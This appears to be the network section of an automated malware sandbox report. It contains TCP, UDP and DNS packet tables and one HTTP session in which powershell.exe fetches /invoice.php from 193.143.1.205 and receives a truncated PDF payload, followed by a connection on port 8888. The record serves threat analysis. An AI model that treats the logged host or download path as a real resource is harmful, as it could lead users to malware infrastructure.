Jan 11, 2025 08:15:44.741030931 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741045952 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.741059065 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741106987 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741107941 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.741144896 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741197109 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.741199970 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741235971 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741271019 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741282940 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.741309881 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.741355896 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.755685091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755744934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755778074 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755817890 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.755832911 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755868912 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755882978 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.755906105 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755942106 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.755944967 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.755978107 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756021023 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756042957 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756078959 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756128073 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756217957 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756253004 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756287098 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756295919 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756320953 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756357908 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756364107 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756392002 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756429911 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756437063 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756459951 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756494999 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756635904 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756670952 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756705999 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756712914 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756742001 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756777048 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756784916 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.756812096 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.756853104 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.793659925 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793710947 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793747902 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793775082 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.793802977 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793842077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793848038 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.793878078 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793917894 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.793924093 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794012070 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794047117 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794054985 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794083118 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794117928 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794127941 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794171095 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794204950 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794213057 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794240952 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794275999 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794282913 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794308901 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794348955 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794502020 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794536114 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794569969 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794576883 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794605017 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794640064 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794646978 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794675112 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794709921 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794718981 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794744968 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794785976 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.794950008 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.794984102 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795017958 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795026064 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795053005 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795089006 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795099020 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795124054 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795157909 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795166016 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795229912 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795264959 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795278072 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795299053 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795341969 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795361996 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795399904 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795433998 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795444965 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795465946 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795500040 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795507908 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795533895 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795568943 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795577049 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795603991 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795644045 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.795883894 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795897007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.795937061 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796061039 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796075106 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796087027 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796098948 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796109915 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796111107 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796123028 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796134949 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796135902 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796148062 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796156883 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796159029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796173096 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796191931 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796195984 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796205044 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796216965 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796227932 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796235085 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796261072 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796278954 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796930075 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796942949 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796953917 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796967030 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796977997 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.796982050 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.796989918 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797008991 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797012091 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797024012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797034979 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797035933 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797046900 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797060013 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797061920 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797071934 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797089100 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797110081 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797585011 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797599077 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797611952 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797624111 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797636986 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797637939 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797651052 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797662973 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797667980 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797676086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797688007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797689915 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797699928 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797713041 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797718048 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797725916 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797739029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797741890 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797751904 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797764063 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.797768116 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.797792912 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.798336029 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.798350096 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.798377037 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.834012985 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834083080 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834115028 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.834120989 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834156036 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834167004 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.834192038 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834225893 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834237099 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.834264040 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.834310055 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846257925 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846313953 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846349001 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846386909 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846402884 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846438885 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846458912 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846494913 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846529007 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846546888 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846561909 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846596003 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846610069 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846642971 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846693039 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846729040 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846764088 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846815109 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846862078 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846895933 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846930027 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.846940994 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.846966982 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847012043 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.847167015 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847201109 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847235918 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847244024 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.847270012 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847305059 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847317934 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.847371101 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.847413063 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884557962 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884605885 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884659052 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884664059 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884701967 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884737015 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884747982 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884772062 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884805918 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884814024 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884840965 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884881973 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884895086 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884931087 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.884973049 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.884984970 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885019064 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885054111 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885061026 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.885090113 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885122061 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885129929 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.885158062 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885190964 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885200024 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:44.885230064 CET	80	60852	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:44.885271072 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:45.307930946 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:45.625844002 CET	60852	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:46.024780989 CET	60864	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:46.029787064 CET	8888	60864	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:46.030009985 CET	60864	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:46.030071974 CET	60864	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:46.034984112 CET	8888	60864	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:46.848297119 CET	8888	60864	193.143.1.205	192.168.2.6
Jan 11, 2025 08:15:46.897818089 CET	60864	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:15:47.556427002 CET	60864	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 08:16:22.897824049 CET	62600	53	192.168.2.6	162.159.36.2
Jan 11, 2025 08:16:22.902714968 CET	53	62600	162.159.36.2	192.168.2.6
Jan 11, 2025 08:16:22.902842045 CET	62600	53	192.168.2.6	162.159.36.2
Jan 11, 2025 08:16:22.907767057 CET	53	62600	162.159.36.2	192.168.2.6
Jan 11, 2025 08:16:23.371505976 CET	62600	53	192.168.2.6	162.159.36.2
Jan 11, 2025 08:16:23.376477003 CET	53	62600	162.159.36.2	192.168.2.6
Jan 11, 2025 08:16:23.376533985 CET	62600	53	192.168.2.6	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:15:59.045579910 CET	50117	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:16:22.859626055 CET	50887	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:16:22.897265911 CET	53	57222	162.159.36.2	192.168.2.6
Jan 11, 2025 08:16:23.393321037 CET	53	58585	1.1.1.1	192.168.2.6
Jan 11, 2025 08:16:47.014211893 CET	50046	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:17:11.046859980 CET	64594	53	192.168.2.6	1.1.1.1
Jan 11, 2025 08:17:35.141063929 CET	57221	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:15:59.045579910 CET	192.168.2.6	1.1.1.1	0x97c0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:16:22.859626055 CET	192.168.2.6	1.1.1.1	0xa9a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:16:47.014211893 CET	192.168.2.6	1.1.1.1	0x7a11	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:17:11.046859980 CET	192.168.2.6	1.1.1.1	0x8dd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:17:35.141063929 CET	192.168.2.6	1.1.1.1	0xd854	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 11, 2025 08:15:59.053806067 CET	1.1.1.1	192.168.2.6	0x97c0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:16:22.866664886 CET	1.1.1.1	192.168.2.6	0xa9a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:16:47.021365881 CET	1.1.1.1	192.168.2.6	0x7a11	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:17:11.054148912 CET	1.1.1.1	192.168.2.6	0x8dd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:17:35.148252010 CET	1.1.1.1	192.168.2.6	0xd854	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	60852	193.143.1.205	80	6444	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:15:43.297281027 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:15:44.098061085 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:15:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
